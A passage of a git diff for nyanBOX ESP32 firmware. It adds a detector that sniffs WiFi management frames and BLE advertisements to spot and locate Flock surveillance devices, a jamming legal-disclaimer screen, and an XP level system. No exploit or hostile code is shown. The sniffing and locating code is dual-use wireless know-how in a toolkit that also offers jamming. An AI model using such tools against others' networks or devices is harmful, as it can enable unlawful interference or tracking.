= now; + } +} + +bool check_mac_prefix(const char* mac_str) { + for (int i = 0; i < mac_prefixes_count; i++) { + if (strncasecmp(mac_str, mac_prefixes[i], 8) == 0) { + return true; + } + } + return false; +} + +bool check_ssid_pattern(const char* ssid) { + if (!ssid || strlen(ssid) == 0) return false; + + for (int i = 0; i < wifi_ssid_patterns_count; i++) { + if (strcasestr(ssid, wifi_ssid_patterns[i])) { + return true; + } + } + return false; +} + +bool check_device_name_pattern(const char* name) { + if (!name || strlen(name) == 0) return false; + + for (int i = 0; i < device_name_patterns_count; i++) { + if (strcasestr(name, device_name_patterns[i])) { + return true; + } + } + return false; +} + +void addOrUpdateFlockDevice(const char* name, const char* address, int8_t rssi, bool isWiFi, const char* detectionMethod) { + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(address, locateTargetAddress) != 0) { + return; + } + } else if (flockDevices.size() >= MAX_DEVICES) { + return; + } + + for (size_t i = 0; i < flockDevices.size(); i++) { + if (strcmp(flockDevices[i].address, address) == 0) { + flockDevices[i].rssi = rssi; + flockDevices[i].lastSeen = millis(); + + if (strlen(name) > 0 && strcmp(name, "Flock Device") != 0) { + strncpy(flockDevices[i].name, name, 31); + flockDevices[i].name[31] = '\0'; + } + + if (!isLocateMode) { + std::sort(flockDevices.begin(), flockDevices.end(), + [](const FlockDeviceData &a, const FlockDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + FlockDeviceData newDev = {}; + strncpy(newDev.name, name[0] ? name : "Flock Device", 31); + newDev.name[31] = '\0'; + strncpy(newDev.address, address, 17); + newDev.address[17] = '\0'; + newDev.rssi = rssi; + newDev.isWiFi = isWiFi; + newDev.lastSeen = millis(); + strncpy(newDev.detectionMethod, detectionMethod, 31); + newDev.detectionMethod[31] = '\0'; + + flockDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(flockDevices.begin(), flockDevices.end(), + [](const FlockDeviceData &a, const FlockDeviceData &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +void IRAM_ATTR wifi_sniffer_packet_handler(void* buff, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + + const wifi_promiscuous_pkt_t *ppkt = (wifi_promiscuous_pkt_t *)buff; + const uint8_t *frame = ppkt->payload; + int len = ppkt->rx_ctrl.sig_len; + + if (len <= 4) + return; + len -= 4; + + uint8_t frameType = frame[0]; + uint8_t frameSubtype = (frameType & 0xF0); + + if (frameSubtype != 0x80 && frameSubtype != 0x40 && frameSubtype != 0x50) { + return; + } + + char addrStr[18]; + snprintf(addrStr, sizeof(addrStr), "%02x:%02x:%02x:%02x:%02x:%02x", + frame[10], frame[11], frame[12], frame[13], frame[14], frame[15]); + + char ssid[33] = {0}; + int ssid_len = 0; + + int offset = 24; + if (frameSubtype == 0x80) { + offset += 12; + } + + while (offset + 2 <= len) { + uint8_t tag = frame[offset]; + uint8_t tag_len = frame[offset + 1]; + + if (offset + 2 + tag_len > len) + break; + + if (tag == 0) { + if (tag_len > 0 && tag_len <= 32) { + memcpy(ssid, &frame[offset + 2], tag_len); + ssid[tag_len] = '\0'; + ssid_len = tag_len; + } + break; + } + + offset += 2 + tag_len; + } + + if (ssid_len > 0 && check_ssid_pattern(ssid)) { + addOrUpdateFlockDevice(ssid, addrStr, ppkt->rx_ctrl.rssi, true, "WiFi SSID"); + return; + } + + if (check_mac_prefix(addrStr)) { + addOrUpdateFlockDevice(ssid_len > 0 ? ssid : "hidden", addrStr, ppkt->rx_ctrl.rssi, true, "WiFi MAC"); + return; + } +} + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void process_ble_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + bool macMatch = check_mac_prefix(addrStr); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + char name[32] = {0}; + bool nameMatch = false; + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(name, adv_name, adv_name_len); + name[adv_name_len] = '\0'; + nameMatch = check_device_name_pattern(name); + } + + if (macMatch || nameMatch) { + const char* detectionMethod = nameMatch ? "BLE Name" : "BLE MAC"; + addOrUpdateFlockDevice(name[0] ? name : "Flock Device", addrStr, scan_result->scan_rst.rssi, false, detectionMethod); + } +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(8); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_ble_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + isScanning = false; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(8); + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + break; + default: + break; + } +} + +void flockDetectorSetup() { + flockDevices.clear(); + flockDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + currentPhase = PHASE_WIFI_INIT; + phaseStartTime = 0; + scanCompleted = false; + bleInitialized = false; + wifiInitialized = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + initWiFi(WIFI_MODE_STA); + esp_wifi_set_ps(WIFI_PS_NONE); + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + wifiInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); + + phaseStartTime = millis(); + lastScanTime = millis(); + current_channel = 1; + last_channel_hop = millis(); +} + +void flockDetectorLoop() { + unsigned long now = millis(); + + unsigned long effectiveWifiScanDuration = wifiScanDuration; + unsigned long effectiveBleScanDuration = bleScanDuration; + unsigned long effectiveScanInterval = scanInterval; + + if (flockDevices.empty() && isContinuousScanEnabled() && scanCompleted) { + effectiveWifiScanDuration = 3000; + effectiveBleScanDuration = 3000; + effectiveScanInterval = 500; + } + + if ((currentPhase == PHASE_WIFI_INIT) || + (isLocateMode && !bleInitialized)) { + hop_channel(); + } + + bool shouldShowPhaseScreen = !scanCompleted || (flockDevices.empty() && isContinuousScanEnabled()); + + if (shouldShowPhaseScreen && !isDetailView && !isLocateMode && !scanCompleted) { + if (currentPhase == PHASE_WIFI_INIT) { + unsigned long elapsed = now - phaseStartTime; + + if (elapsed >= effectiveWifiScanDuration) { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(100); + + initBLE(); + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + bleInitialized = true; + + currentPhase = PHASE_BLE_INIT; + phaseStartTime = now; + needsRedraw = true; + } else { + if ((lastDeviceCount != (int)flockDevices.size() || wasScanning != isScanning) || (now - lastLocateUpdate >= 100)) { + lastDeviceCount = (int)flockDevices.size(); + wasScanning = isScanning; + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Flock Detector"); + + char scanStr[32]; + snprintf(scanStr, sizeof(scanStr), "WiFi CH:%d", current_channel); + u8g2.drawStr(0, 22, scanStr); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", (int)flockDevices.size()); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveWifiScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + } else if (currentPhase == PHASE_BLE_INIT) { + unsigned long elapsed = now - phaseStartTime; + + if (!isScanning && elapsed >= effectiveBleScanDuration) { + if (bleInitialized) { + cleanupBLE(); + bleInitialized = false; + } + + esp_wifi_start(); + delay(50); + esp_wifi_set_ps(WIFI_PS_NONE); + esp_wifi_set_promiscuous(false); + + currentPhase = PHASE_COMPLETED; + scanCompleted = true; + lastScanTime = now; + needsRedraw = true; + } else { + bool shouldRedraw = (lastDeviceCount != (int)flockDevices.size()) || + (wasScanning != isScanning && !(flockDevices.empty() && isContinuousScanEnabled())); + + if (shouldRedraw || (now - lastLocateUpdate >= 100)) { + lastDeviceCount = (int)flockDevices.size(); + wasScanning = isScanning; + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Flock Detector"); + u8g2.drawStr(0, 22, "Scanning BLE..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", (int)flockDevices.size()); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveBleScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + } + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + if (scanCompleted && now - lastScanTime > effectiveScanInterval && !isDetailView && !isLocateMode) { + if (flockDevices.size() >= MAX_DEVICES) { + std::sort(flockDevices.begin(), flockDevices.end(), + [](const FlockDeviceData &a, const FlockDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + flockDevices.erase(flockDevices.begin(), + flockDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + current_channel = 1; + + currentPhase = PHASE_WIFI_INIT; + scanCompleted = false; + phaseStartTime = now; + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)flockDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !flockDevices.empty()) { + isDetailView = true; + esp_wifi_set_promiscuous(false); + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !flockDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, flockDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + + if (flockDevices[currentIndex].isWiFi) { + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + current_channel = 1; + last_channel_hop = millis(); + } else { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(100); + + initBLE(); + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + bleInitialized = true; + } + + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + + if (bleInitialized) { + cleanupBLE(); + bleInitialized = false; + esp_wifi_start(); + delay(50); + esp_wifi_set_ps(WIFI_PS_NONE); + } else { + esp_wifi_set_promiscuous(false); + } + + lastButtonPress = now; + lastScanTime = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + lastButtonPress = now; + needsRedraw = true; + } + } + + if (flockDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)flockDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)flockDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (flockDevices.empty() && scanCompleted && now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (flockDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Flock Detector"); + u8g2.drawStr(0, 22, "Scanning..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", 0); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No Flock devices"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = flockDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = flockDevices[currentIndex]; + char buf[32]; + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "Method: %s", dev.detectionMethod); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 40, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 50, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Flock: %d/%d", + (int)flockDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)flockDevices.size()) + break; + auto &d = flockDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + char maskedName[33]; + maskName(d.name, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.9s %s %d", + maskedName, d.isWiFi ? "W" : "B", d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void cleanupFlockDetector() { + cleanupWiFi(); + cleanupBLE(); +} diff --git a/cyd-port/src/legal_disclaimer.cpp b/cyd-port/src/legal_disclaimer.cpp new file mode 100644 index 0000000..6450472 --- /dev/null +++ b/cyd-port/src/legal_disclaimer.cpp @@ -0,0 +1,193 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include "../include/legal_disclaimer.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/pindefs.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +bool showLegalDisclaimer() { + int page = 0; + bool buttonUpPressed = false; + bool buttonDownPressed = false; + bool buttonSelectPressed = false; + bool buttonLeftPressed = false; + bool buttonRightPressed = false; + bool hasSeenAllPages = false; + + bool needsRedraw = true; + int lastPage = -1; + bool lastHasSeenAllPages = false; + + while (true) { + checkIdle(); + + bool up = !digitalRead(BUTTON_PIN_UP); + bool down = !digitalRead(BUTTON_PIN_DOWN); + bool right = !digitalRead(BUTTON_PIN_RIGHT); + bool left = !digitalRead(BUTTON_PIN_LEFT); + + if (up) { + if (!buttonUpPressed) { + buttonUpPressed = true; + if (page > 0) { + page--; + needsRedraw = true; + } + } + } else { + buttonUpPressed = false; + } + + if (down) { + if (!buttonDownPressed) { + buttonDownPressed = true; + if (page < 3) { + page++; + if (page == 3) { + hasSeenAllPages = true; + } + needsRedraw = true; + } + } + } else { + buttonDownPressed = false; + } + + if (left) { + if (!buttonLeftPressed) { + buttonLeftPressed = true; + while (!digitalRead(BUTTON_PIN_LEFT)) { + delay(10); + } + delay(100); + return false; + } + } else { + buttonLeftPressed = false; + } + + if (right) { + if (!buttonRightPressed) { + buttonRightPressed = true; + if (page == 3 && hasSeenAllPages) { + while (!digitalRead(BUTTON_PIN_RIGHT)) { + delay(10); + } + delay(100); + return true; + } + } + } else { + buttonRightPressed = false; + } + + if (lastPage != page) { + lastPage = page; + needsRedraw = true; + } + if (lastHasSeenAllPages != hasSeenAllPages) { + lastHasSeenAllPages = hasSeenAllPages; + needsRedraw = true; + } + + if (!needsRedraw) { + delay(50); + continue; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (page == 0) { + u8g2.setFont(u8g2_font_helvB08_tr); + int titleWidth = u8g2.getUTF8Width("JAMMING WARNING"); + u8g2.drawStr((128 - titleWidth) / 2, 14, "JAMMING WARNING"); + u8g2.drawLine((128 - titleWidth) / 2 - 5, 18, (128 + titleWidth) / 2 + 5, 18); + + u8g2.setFont(u8g2_font_6x10_tr); + int line1Width = u8g2.getUTF8Width("Jamming tools are"); + u8g2.drawStr((128 - line1Width) / 2, 30, "Jamming tools are"); + + int line2Width = u8g2.getUTF8Width("for educational &"); + u8g2.drawStr((128 - line2Width) / 2, 42, "for educational &"); + + int line3Width = u8g2.getUTF8Width("authorized use only"); + u8g2.drawStr((128 - line3Width) / 2, 54, "authorized use only"); + } + else if (page == 1) { + u8g2.setFont(u8g2_font_helvB08_tr); + int titleWidth = u8g2.getUTF8Width("LEGAL WARNING"); + u8g2.drawStr((128 - titleWidth) / 2, 14, "LEGAL WARNING"); + u8g2.drawLine((128 - titleWidth) / 2 - 5, 18, (128 + titleWidth) / 2 + 5, 18); + + u8g2.setFont(u8g2_font_6x10_tr); + int line1Width = u8g2.getUTF8Width("Unauthorized jamming"); + u8g2.drawStr((128 - line1Width) / 2, 30, "Unauthorized jamming"); + + int line2Width = u8g2.getUTF8Width("may be illegal in"); + u8g2.drawStr((128 - line2Width) / 2, 42, "may be illegal in"); + + int line3Width = u8g2.getUTF8Width("your jurisdiction"); + u8g2.drawStr((128 - line3Width) / 2, 54, "your jurisdiction"); + } + else if (page == 2) { + u8g2.setFont(u8g2_font_helvB08_tr); + int titleWidth = u8g2.getUTF8Width("RESPONSIBILITY"); + u8g2.drawStr((128 - titleWidth) / 2, 14, "RESPONSIBILITY"); + u8g2.drawLine((128 - titleWidth) / 2 - 5, 18, (128 + titleWidth) / 2 + 5, 18); + + u8g2.setFont(u8g2_font_6x10_tr); + int line1Width = u8g2.getUTF8Width("You are responsible"); + u8g2.drawStr((128 - line1Width) / 2, 30, "You are responsible"); + + int line2Width = u8g2.getUTF8Width("for compliance with"); + u8g2.drawStr((128 - line2Width) / 2, 42, "for compliance with"); + + int line3Width = u8g2.getUTF8Width("all applicable laws"); + u8g2.drawStr((128 - line3Width) / 2, 54, "all applicable laws"); + } + else if (page == 3) { + u8g2.setFont(u8g2_font_helvB08_tr); + int titleWidth = u8g2.getUTF8Width("AGREEMENT"); + u8g2.drawStr((128 - titleWidth) / 2, 14, "AGREEMENT"); + u8g2.drawLine((128 - titleWidth) / 2 - 5, 18, (128 + titleWidth) / 2 + 5, 18); + + u8g2.setFont(u8g2_font_6x10_tr); + int line1Width = u8g2.getUTF8Width("I agree to use"); + u8g2.drawStr((128 - line1Width) / 2, 30, "I agree to use"); + + int line2Width = u8g2.getUTF8Width("jamming tools"); + u8g2.drawStr((128 - line2Width) / 2, 42, "jamming tools"); + + int line3Width = u8g2.getUTF8Width("lawfully & ethically"); + u8g2.drawStr((128 - line3Width) / 2, 54, "lawfully & ethically"); + } + + u8g2.setFont(u8g2_font_4x6_tr); + if (page < 3) { + int instrWidth = u8g2.getUTF8Width("DOWN=Next LEFT=Exit"); + u8g2.drawStr((128 - instrWidth) / 2, 64, "DOWN=Next LEFT=Exit"); + } else if (page == 3 && hasSeenAllPages) { + int instrWidth = u8g2.getUTF8Width("UP=Back RIGHT=Accept"); + u8g2.drawStr((128 - instrWidth) / 2, 64, "UP=Back RIGHT=Accept"); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + delay(50); + } +} \ No newline at end of file diff --git a/cyd-port/src/level_system.cpp b/cyd-port/src/level_system.cpp new file mode 100644 index 0000000..8c7e078 --- /dev/null +++ b/cyd-port/src/level_system.cpp @@ -0,0 +1,175 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include "../include/level_system.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/pindefs.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define EEPROM_ADDRESS_LEVEL_MAGIC 100 +#define EEPROM_ADDRESS_XP_LOW 101 +#define EEPROM_ADDRESS_XP_HIGH 102 +#define LEVEL_MAGIC_NUMBER 0xAB + +static int currentXP = 0; +static bool buttonCenterPressed = false; + +static bool needsRedraw = true; + +void saveLevelData(); + +int getXPRequiredForLevel(int level) { + if (level <= 1) return 0; + return (level * level) + 10; +} + +void loadLevelData() { + uint8_t magic = EEPROM.read(EEPROM_ADDRESS_LEVEL_MAGIC); + if (magic != LEVEL_MAGIC_NUMBER) { + currentXP = 0; + saveLevelData(); + return; + } + + uint8_t xpLow = EEPROM.read(EEPROM_ADDRESS_XP_LOW); + uint8_t xpHigh = EEPROM.read(EEPROM_ADDRESS_XP_HIGH); + currentXP = (xpHigh << 8) | xpLow; + + if (currentXP < 0) currentXP = 0; +} + +void saveLevelData() { + EEPROM.write(EEPROM_ADDRESS_LEVEL_MAGIC, LEVEL_MAGIC_NUMBER); + + EEPROM.write(EEPROM_ADDRESS_XP_LOW, currentXP & 0xFF); + EEPROM.write(EEPROM_ADDRESS_XP_HIGH, (currentXP >> 8) & 0xFF); + + EEPROM.commit(); +} + +void levelSystemSetup() { + EEPROM.begin(512); + loadLevelData(); + + pinMode(BUTTON_PIN_CENTER, INPUT_PULLUP); + needsRedraw = true; +} + +void addXP(int amount) { + if (currentXP + amount > 65535) { + currentXP = 65535; + } else { + currentXP += amount; + } + + saveLevelData(); + needsRedraw = true; +} + +int getCurrentLevel() { + int level = 1; + while (level < 99 && currentXP >= getXPRequiredForLevel(level + 1)) { + level++; + } + return level; +} + +int getCurrentXP() { + return currentXP; +} + +int getXPForNextLevel() { + int currentLevel = getCurrentLevel(); + if (currentLevel >= 99) return 0; + return getXPRequiredForLevel(currentLevel + 1); +} + +const char* getRankName(int level) { + if (level <= 5) return "N00b"; + else if (level <= 15) return "Skid"; + else if (level <= 25) return "Wannabe"; + else if (level <= 40) return "L33t"; + else if (level <= 55) return "Hacker"; + else if (level <= 70) return "Uber Hacker"; + else if (level <= 85) return "Elite"; + else if (level <= 95) return "Godlike"; + else return "Legend"; +} + +void displayLevelScreen() { + u8g2.clearBuffer(); + + int currentLevel = getCurrentLevel(); + + u8g2.setFont(u8g2_font_helvB14_tr); + char levelStr[8]; + sprintf(levelStr, "Level %d", currentLevel); + int levelWidth = u8g2.getUTF8Width(levelStr); + u8g2.drawStr((128 - levelWidth) / 2, 18, levelStr); + + const char* rankName = getRankName(currentLevel); + u8g2.setFont(u8g2_font_helvR08_tr); + int rankWidth = u8g2.getUTF8Width(rankName); + u8g2.drawStr((128 - rankWidth) / 2, 32, rankName); + + u8g2.setFont(u8g2_font_6x10_tr); + char xpStr[24]; + if (currentLevel >= 99) { + sprintf(xpStr, "XP: %d (MAX)", currentXP); + } else { + int nextLevelXP = getXPForNextLevel(); + sprintf(xpStr, "XP: %d/%d", currentXP, nextLevelXP); + } + int xpWidth = u8g2.getUTF8Width(xpStr); + u8g2.drawStr((128 - xpWidth) / 2, 44, xpStr); + + int barWidth = 100; + int barX = (128 - barWidth) / 2; + u8g2.drawFrame(barX, 50, barWidth, 4); + + int fillWidth = 0; + if (currentLevel < 99) { + int nextLevelXP = getXPForNextLevel(); + int currentLevelXP = getXPRequiredForLevel(currentLevel); + if (nextLevelXP > currentLevelXP) { + int progress = map(currentXP - currentLevelXP, 0, nextLevelXP - currentLevelXP, 0, 100); + fillWidth = map(progress, 0, 100, 0, barWidth - 2); + } + } else { + fillWidth = barWidth - 2; + } + + if (fillWidth > 0) { + u8g2.drawBox(barX + 1, 51, 